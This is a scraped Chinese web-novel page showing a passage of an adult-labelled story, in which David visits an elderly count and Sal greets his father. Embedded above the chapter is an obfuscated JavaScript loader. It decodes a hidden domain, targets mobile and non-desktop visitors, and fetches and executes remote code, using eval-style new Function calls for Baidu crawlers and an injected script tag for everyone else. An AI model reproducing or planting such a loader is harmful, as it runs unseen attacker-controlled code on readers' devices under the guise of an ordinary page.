妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

分卷阅读16(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('萨尔的放荡生活(H) 作者:空梦

分卷阅读16

么。

这天戴维安排好他主人的一切,上了去华盛顿的飞机。

他在私人机坪下了机后,上了开来的劳斯莱斯,在一幢庞大的城堡大门前停下,被安静领路的老管家带着往里走。

城堡的走廊总是漫长的,挂着一长串已作古的重要人物,压得人总是喘不过气来。

戴维维持着沉稳平静的步子走过了走廊,在另一扇门前停下,老管家轻轻地敲了两下门,随即,跟来时一样,他再施礼后无声无息地退了下去。

门被打开,巨大的书桌后面,坐着一个头发花白的老者。

「伯爵先生……」

「戴维……」英国腔十足的老头朝他扬了下手。

戴维微微一笑,走了过去,朝坐在轮椅上的老者弯了下腰。

「我的孩子……」老头轻吻了下他的脸颊,「你看起来不错。」

「您也是,伯爵先生。」戴维在他的示意下坐在他对面的椅子上。

「那么……」老头那皱纹四起的脸上有着让人着迷的慈祥笑容,「你这次来,是有好消息了吗?」

「是的。」戴维点头,从口袋里抽出一张纸,递给老者。

老者拿起纸,露出一个挺高兴的笑,「你干得不错。」

「谢谢夸奖。」戴维回露出一个笑容,「您还有什么需要嘱咐我的?」

「哦,没有……可是,戴维,你的父亲说他不愿意在古堡里教训那些笨手笨脚的仆人了,他想这个月就来美国到我这里度假。我想,你知道的,我没法拒绝你的父亲,他不轻易开口,一说话总是下一些让人不能拒绝他的决定。」老者这时的脸显得有些无奈了起来。

「父亲又让您为难了……」戴维了然地一笑,「不过他的下午茶倒是挺让人怀念的。」

老头笑了起来,连连点头,「这可不是,全英国都找不到比他更了解别人的胃的人了。」

戴维微微笑着,看不出是附和还是其它意味的笑容。

这边,萨尔见到自己的父亲——老霍顿先生时,笑得脸都快抽筋了,他非常直言不讳对刚凑下飞机的老霍顿用非常夸张的口气说:「哦,父亲,您看看,您看起来还可以养几个跟丽娜和小安娜一样年纪的情妇……」

老霍顿听了脸顿时僵了,他冷冰冰地说:「萨尔,看来美国的教育并没有让你学会含蓄一点。」

「这是一个奔放的国家……」跟他的言辞一样亲切的萨尔走在他父亲的身边,并且还帮他拉开了车门。

「怎么样?丽娜跟小安娜怎么样?我还有别的妹妹出生没有?哦,上帝,或者是我又多了几个弟弟?」萨尔愉快地说道,轻扬的语气显示着他是多么开心与父亲交谈起这些总让人愉快的「家庭细节」。

「萨尔,」老霍顿那张保持得不错,但过于凶狠阴唳的脸上,此时伪善全部消失了,他冷冰冰地看着萨尔就像看着一条毒蛇,「闭嘴。」

「好吧。」萨尔无所谓地耸了耸肩。

车子在行驶,萨尔带来的保镖跟老霍顿带来的保镖一人一边紧跟在身边。

反正,这两个人在同一部车里,如果死,只能死两个,总不可能只死其中一个,那可不吉利。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间